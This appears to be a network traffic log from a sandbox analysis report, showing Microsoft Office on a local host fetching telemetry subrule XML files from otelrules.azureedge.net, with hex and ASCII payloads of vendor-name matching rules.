2024-10-24 20:09:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2ee95feb-501e-0029-5d17-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-15b8d89586ff5l62aha9080wv000000000q000000000nr8y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 13d0f17b-b01e-0053-80f4-24cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-15b8d89586flzzks5bs37v2b9000000003rg00000000ffsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: de733a63-101e-00a2-1415-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-r197bdfb6b4kkrkjudg185sarw000000028000000000p5x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:39 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:39 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 168e2c35-b01e-00ab-10df-25dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200939Z-16849878b78j7llf5vkyvvcehs00000000gg00000000e5mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:39 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 9658a421-401e-008c-7ff3-2486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200939Z-15b8d89586fqj7k5h9gbd8vs9800000000kg00000000mqev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:39 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200939Z-16849878b784cpcc2dr9ch74ng00000008bg0000000028hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d4d27aa7-601e-0002-1812-22a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200939Z-16849878b78j5kdg3dndgqw0vg0000000130000000010det x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 95c67357-201e-0051-60f5-247340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200939Z-16849878b786wvrz321uz1cknn000000085g00000000kx11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f6bed088-301e-0000-1a9a-24eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200940Z-15b8d89586flzzks5bs37v2b9000000003w000000000026h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 250cc9c1-301e-000c-4ec3-20323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200940Z-16849878b78rjhv97f3nhawr7s000000086000000000899s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 34cbbb6f-001e-0046-0fdf-25da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200940Z-16849878b786lft2mu9uftf3y400000000qg00000000pmk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
